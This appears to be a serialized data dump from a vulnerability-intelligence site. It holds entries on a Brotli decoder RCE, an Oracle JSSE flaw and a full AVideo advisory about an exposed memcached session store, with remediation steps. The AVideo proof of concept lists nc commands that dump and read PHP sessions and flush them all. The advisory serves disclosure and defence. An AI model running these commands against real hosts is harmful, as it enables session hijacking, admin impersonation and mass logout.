[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"landing-trending":3,"cve-CVE-2026-29093":30,"landing-articles":82},{"count":4,"next":5,"previous":6,"results":7},266,"http:\u002F\u002Fweb:8606\u002Fapi\u002Ftrending_attacks\u002F?page=2&page_size=3&sorted_by=-published_at",null,[8,17,20],{"id":9,"title":10,"summary":11,"published_at":12,"severity":13,"vendor":14,"products":15},265,"Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)","This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.","2026-10-24T10:37:22.192753Z",4,"google",[16],"brotli",{"id":4,"title":10,"summary":18,"published_at":12,"severity":13,"vendor":14,"products":19},"This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it.\r\n\r\nWhy a second control\r\n\r\nCVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli (\"br\") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution.\r\n\r\nAny server that decompresses request bodies sent with \"Content-Encoding: br\" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library.\r\n\r\nThe flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support.\r\n\r\nWhat this control checks\r\n\r\nPatrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service.\r\n\r\nHow to read the result\r\n\r\nPotentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside.\r\n\r\nThis check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification.\r\n\r\nTwo situations are possible. When the decoding is done by your own application or reverse proxy, identify the component and update it. If an update is not possible right away, reject requests with \"Content-Encoding: br\" at the reverse proxy or WAF.\r\n\r\nWhen the asset is hosted on a managed platform or behind a CDN (for example Platform.sh, Upsun or Fastly), the decoding may be done by the provider's edge router, in front of your application. You cannot patch it yourself, but this router handles all the traffic of your site. Ask your provider to confirm that its edge components are patched against CVE-2026-111497. Assets hosted on a managed platform or behind a CDN carry the tag \"paas: platform.sh\" or \"cdn: fastly\" in the asset view: for these assets, the Brotli decoding is done by the provider's edge router, in front of your application, and only the provider can patch it.\r\n\r\nAffected and fixed versions\r\n\r\nGoogle Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution.\r\n\r\nRecommendations\r\n\r\nUpdate every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library.\r\n\r\nReduce the exposure until the update is deployed. Reject requests with \"Content-Encoding: br\" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as \"gzip, br\". On Envoy and Istio, disable request decompression for Brotli.\r\n\r\nContact your edge provider about the status of the pathing (Fastly \u002F Plateform.sh)\r\n\r\nReview outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.",[16],{"id":21,"title":22,"summary":23,"published_at":24,"severity":13,"vendor":25,"products":26},263,"Oracle Java SE JSSE - Improper Access Control & Unauthorized Data Access & Unauthorized Data Modification","Oracle Java SE is the Java runtime and development platform. Its JSSE (Java Secure Socket Extension) component provides TLS\u002FSSL for secure network communication. Oracle GraalVM is a JDK distribution based on the same platform.\r\n\r\nCVE-2026-91403\r\n\r\nA vulnerability in the JSSE component of Oracle Java SE, Oracle GraalVM for JDK and Oracle GraalVM Enterprise Edition can be exploited by an unauthenticated attacker with network access over multiple protocols. A successful attack can give unauthorized access to critical data and allow unauthorized creation, deletion or modification of data. It can also affect sandboxed Java Web Start applications and applets that run untrusted code. The record lists the weakness as CWE-284 (Improper Access Control) in the CISA ADP entry, while another database lists CWE-295. The record lists these affected versions:\r\n- Oracle Java SE: 8u511, 8u511-perf, 11.0.33, 17.0.21, 21.0.13, 25.0.5, 27.0.1.\r\n- Oracle GraalVM for JDK: 17.0.21, 21.0.13.\r\n- Oracle GraalVM Enterprise Edition: 21.3.20.\r\n\r\nOracle published an out-of-cycle Security Alert on October 21, 2026. One secondary source says the fix makes Java distrust eight compromised intermediate CA certificates shipped with the JDK. The Oracle-focused sources do not confirm this root cause, so check it against the Oracle advisory. CISA ADP SSVC data shows Exploitation: none, Automatable: yes, Technical Impact: total. The CVE is not in the CISA KEV catalog as of October 22, 2026, and its EPSS score is below 1%.","2026-10-23T14:12:32.871954Z","Oracle",[27,28,29],"Oracle Java SE","Oracle GraalVM Enterprise Edition","Oracle GraalVM for JDK",{"id":31,"cve_id":32,"euvd_id":33,"summary":34,"published":35,"cvss_data":36,"is_remote":45,"cwes":46,"cpes":49,"technologies":52,"references":54,"score":59,"epss_score":60,"epss_percentile":61,"is_kev":62,"cisa_kev_date_added":6,"cisa_kev_due_date":6,"cisa_ssvc":63,"attack_mappings":73,"exploits":80},13130,"CVE-2026-29093","EUVD-2026-9973","AVideo: Unauthenticated PHP session store exposed to host network via published memcached port\n\n## Summary\nThe official `docker-compose.yml` publishes the memcached service on host port 11211 (`0.0.0.0:11211`) with no authentication, while the Dockerfile configures PHP to store all user sessions in that memcached instance. An attacker who can reach port 11211 can read, modify, or flush session data — enabling session hijacking, admin impersonation, and mass session destruction without any application-level authentication.\n\n## Severity\n**High** (CVSS 3.1: 8.1)\n\n`CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H`\n\n- **Attack Vector:** Network — `docker-compose.yml` binds memcached to `0.0.0.0:11211` on the host\n- **Attack Complexity:** High — exploitation requires port 11211 to be network-reachable, which depends on external firewall\u002Fsecurity group configuration beyond the attacker's control\n- **Privileges Required:** None — memcached has no authentication mechanism enabled\n- **User Interaction:** None\n- **Scope:** Unchanged — impact is to the AVideo application's session management\n- **Confidentiality Impact:** High — session data includes user IDs, admin flags, email addresses, and password hashes\n- **Integrity Impact:** High — an attacker can modify session data to inject admin privileges or impersonate any user\n- **Availability Impact:** High — `flush_all` destroys all active sessions, forcing mass logout\n\n## Affected Component\n- `docker-compose.yml` — memcached service `ports` directive (line 203)\n- `Dockerfile` — PHP session configuration (lines 150-151)\n\n## CWE\n- **CWE-668**: Exposure of Resource to Wrong Sphere\n- **CWE-287**: Improper Authentication (memcached has no authentication)\n\n## Description\n\n### Memcached port unnecessarily published to host network\n\nThe `docker-compose.yml` publishes the memcached port to the Docker host's network interface:\n\n```yaml\n# docker-compose.yml — lines 192-213\n  memcached:\n    image: memcached:alpine\n    restart: unless-stopped\n    command: >\n      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200\n    ports:\n      - \"${MEMCACHE_PORT:-11211}:11211\"    # \u003C-- Exposes to 0.0.0.0:11211\n    networks:\n      - app_net\n```\n\nThe memcached command has no authentication flags:\n- No `-S` flag (SASL authentication)\n- No `-l 127.0.0.1` flag (interface binding restriction)\n\nThe default `env.example` reinforces this port:\n```\nMEMCACHE_PORT=11211\n```\n\n### PHP sessions stored entirely in memcached\n\nThe Dockerfile configures PHP to use memcached as the session store:\n\n```ini\n; Dockerfile — lines 150-151\nsession.save_handler           = memcached\nsession.save_path              = \"memcached:11211?persistent=1&timeout=2&retry_interval=5\"\n```\n\n### Session data contains all authentication state\n\nThe application stores complete authentication state in sessions. From `objects\u002Fuser.php`:\n\n```php\n\u002F\u002F user.php:1521 — login check\n$isLogged = !empty($_SESSION['user']['id']);\n\n\u002F\u002F user.php:1544 — admin check\nreturn !empty($_SESSION['user']['isAdmin']);\n```\n\nSession data includes: user ID, email, username, password hash, admin flag, channel name, photo URL, and email verification status (user.php lines 329-733). All of this is readable and writable via the exposed memcached port.\n\n### Inconsistent defense: database services are correctly internal-only\n\nThe `docker-compose.yml` demonstrates awareness of proper service isolation — both database services have NO `ports:` directive:\n\n```yaml\n# docker-compose.yml — database service (lines 136-163)\n  database:\n    build:\n      context: .\n      dockerfile: Dockerfile.mariadb\n    # ... NO ports: directive — internal only\n    networks:\n      - app_net\n\n# docker-compose.yml — database_encoder service (lines 165-189)\n  database_encoder:\n    build:\n      context: .\n      dockerfile: Dockerfile.mariadb\n    # ... NO ports: directive — internal only\n    networks:\n      - app_net\n```\n\nBoth databases are only reachable via the internal `app_net` Docker network. Memcached — which stores equally sensitive session data — should follow the same pattern but does not. This inconsistency confirms the exposure is an oversight, not a design choice.\n\n### Port exposure map\n\n| Service | Ports published to host | Contains sensitive data | Exposure justified |\n|---------|------------------------|------------------------|--------------------|\n| avideo | 80, 443, 2053 | N\u002FA (web server) | Yes — serves web traffic |\n| live | 1935, 8080, 8443 | N\u002FA (streaming) | Yes — serves RTMP\u002FHLS |\n| database | None | Yes (all app data) | Correct — internal only |\n| database_encoder | None | Yes (encoder data) | Correct — internal only |\n| **memcached** | **11211** | **Yes (all sessions)** | **No — should be internal only** |\n\n### Execution chain\n\n1. Attacker scans the target host and discovers port 11211 is open\n2. Attacker connects with `nc TARGET 11211` or any memcached client — no authentication required\n3. Attacker runs `stats items` to enumerate session slab classes\n4. Attacker runs `stats cachedump \u003Cslab_id> \u003Climit>` to list session keys\n5. Attacker runs `get \u003Csession_key>` to read serialized PHP session data containing user IDs, admin flags, and password hashes\n6. Attacker either:\n   - **Hijacks a session**: uses the session ID as a cookie to impersonate the user\n   - **Escalates privileges**: modifies session data to set `isAdmin` to true via `set \u003Csession_key>`\n   - **Performs DoS**: runs `flush_all` to destroy all sessions\n\n## Proof of Concept\n\n```bash\n# 1. Verify memcached is reachable (returns server stats)\necho -e \"stats\\r\" | nc TARGET 11211\n\n# 2. Enumerate session keys\necho -e \"stats items\\r\" | nc TARGET 11211\n# Then for each slab:\necho -e \"stats cachedump 1 100\\r\" | nc TARGET 11211\n\n# 3. Read a session (key format: memc.sess.key.\u003Csession_id>)\necho -e \"get memc.sess.key.abc123sessionid\\r\" | nc TARGET 11211\n# Returns serialized PHP session with user data, admin flag, etc.\n\n# 4. DoS — destroy all sessions (logs out every user)\necho -e \"flush_all\\r\" | nc TARGET 11211\n```\n\nFor session hijacking, extract the session ID from step 3 and set it as the `PHPSESSID` cookie in a browser to impersonate the victim user.\n\n## Impact\n\n- **Session hijacking**: Read any user's session data and impersonate them by reusing their session ID — including admin accounts\n- **Privilege escalation**: Modify session data to set `$_SESSION['user']['isAdmin']` to a truthy value, granting admin access to any session\n- **Credential exposure**: Session data includes password hashes (`$_SESSION['user']['passhash']`, user.php:555) that can be cracked offline\n- **Mass session destruction**: `flush_all` destroys all active sessions, forcing every logged-in user to re-authenticate — a one-command denial of service\n- **Reconnaissance**: `stats` reveals server uptime, memory usage, connection counts, and cache hit\u002Fmiss ratios\n\n## Recommended Remediation\n\n### Option 1: Remove the port mapping (preferred — one-line fix)\n\nMemcached is only used internally by the PHP application via Docker networking. Remove the `ports:` directive entirely:\n\n```yaml\n# docker-compose.yml — memcached service\n  memcached:\n    image: memcached:alpine\n    restart: unless-stopped\n    command: >\n      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200\n    # REMOVED: ports:\n    #   - \"${MEMCACHE_PORT:-11211}:11211\"\n    deploy:\n      resources:\n        limits:\n          cpus: '1'\n          memory: \"4G\"\n        reservations:\n          cpus: '0.5'\n          memory: '1G'\n    networks:\n      - app_net\n```\n\nAlso remove `MEMCACHE_PORT=11211` from `env.example` since the port is no longer published.\n\nThe PHP application connects via the Docker internal hostname `memcached:11211` (from `session.save_path`), which uses the `app_net` bridge network and does not require host-level port mapping.\n\n### Option 2: Bind memcached to localhost only (if host access is needed for debugging)\n\nIf host-level access to memcached is needed for debugging, bind only to the loopback interface:\n\n```yaml\n    ports:\n      - \"127.0.0.1:${MEMCACHE_PORT:-11211}:11211\"\n```\n\nThis prevents remote access while allowing `localhost:11211` connections from the Docker host.\n\n### Option 3: Enable SASL authentication (defense-in-depth)\n\nAdd SASL authentication to memcached as an additional layer:\n\n```yaml\n    command: >\n      memcached -m 512 -c 2048 -t ${NPROC:-4} -R 200 -S\n    environment:\n      MEMCACHED_USERNAME: \"${MEMCACHED_USER:-avideo}\"\n      MEMCACHED_PASSWORD: \"${MEMCACHED_PASSWORD}\"\n```\n\nUpdate the PHP session configuration accordingly:\n```ini\nsession.save_path = \"PERSISTENT=myapp avideo:${MEMCACHED_PASSWORD}@memcached:11211\"\n```\n\n**Note:** Option 1 alone is sufficient and should be applied immediately. Options 2 and 3 provide defense-in-depth.\n\n## Credit\nThis vulnerability was discovered and reported by [bugbunny.ai](https:\u002F\u002Fbugbunny.ai).","2026-03-05T01:22:00Z",{"cvss_v3.1":37},{"scope":38,"version":39,"baseScore":40,"attackVector":41,"baseSeverity":42,"vectorString":43,"integrityImpact":42,"userInteraction":44,"attackComplexity":42,"availabilityImpact":42,"privilegesRequired":44,"confidentialityImpact":42},"UNCHANGED","3.1",8.1,"NETWORK","HIGH","CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","NONE",true,[47,48],"CWE-287","CWE-668",[50,51],"cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*","cpe:2.3:a:wwbn:avideo:21.0:*:*:*:*:*:*:*",[53],"Wwbn Avideo",[55,56,57,58],"https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo\u002Freleases\u002Ftag\u002F24.0","https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo\u002Fsecurity\u002Fadvisories\u002FGHSA-xxpw-32hf-q8v9","https:\u002F\u002Fnvd.nist.gov\u002Fvuln\u002Fdetail\u002FCVE-2026-29093","https:\u002F\u002Fgithub.com\u002FWWBN\u002FAVideo",0.76,0.0051,0.43189,false,{"timestamp":64,"automatable":65,"tech_impact":66,"exploitation":67,"cisa_decision":68,"cisa_remediation_timeline":72},"2026-03-06T15:58:30.418361Z","no","total","none",{"vector":69,"decision":70,"priority":71},"CISAv1\u002FE:N\u002FA:N\u002FT:T\u002FM:H\u002F2026-10-26T03:34:44.465759\u002F","track_star","medium","14D",[74],{"name":75,"source":76,"tactics":77,"technique_id":79},"Exploit Public-Facing Application","attack_vector",[78],"initial-access","T1190",[81],{"link":56},{"count":83,"next":84,"previous":6,"results":85},26,"http:\u002F\u002Fweb:8606\u002Fapi\u002Farticles\u002F?page=2&page_size=3&sorted_by=-published_at",[86,94,102],{"id":87,"title":88,"summary":89,"published_at":90,"type":91,"link":92,"image_url":93},30,"PHP2Shell: Two Critical RCE Flaws in PHP (CVSS 9.2)","Unauthenticated code execution demonstrated on WordPress, Drupal and Joomla, and reproduced in our lab. Patched versions and steps to take today.","2026-10-22T00:00:00Z","cve","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002Fc0615c4ee6-1792684469\u002Fphp2shell-2-critical-rce-flaws-php-cvss-9-2.png",{"id":95,"title":96,"summary":97,"published_at":98,"type":99,"link":100,"image_url":101},29,"Manage External Security Across All Your Entities","Centralize the management of entities, users and external security resources while maintaining strict data isolation with Patrowl.","2026-09-15T00:00:00Z","security tips","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fmulti-entity-external-security-how-structure-governance-group-level","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F8b2c0cc5eb-1789551467\u002Fvisu_1_multi_tenancy_dark_1x.webp",{"id":103,"title":104,"summary":105,"published_at":106,"type":107,"link":108,"image_url":109},28,"Will AI Become the Next Hacker? Bruce Schneier Answers at DEF CON 34","Tax law, finance, legislation: Bruce Schneier shows how AI could hack human rule systems just as easily as it hacks software.","2026-09-14T00:00:00Z","hacks","https:\u002F\u002Fpatrowl.io\u002Fen\u002Fblog\u002Fbruce-schneier-def-con-34","https:\u002F\u002Fpatrowl.io\u002Fmedia\u002Fsite\u002F5c616d9db4-1789462598\u002Fai-hacker.en.png"]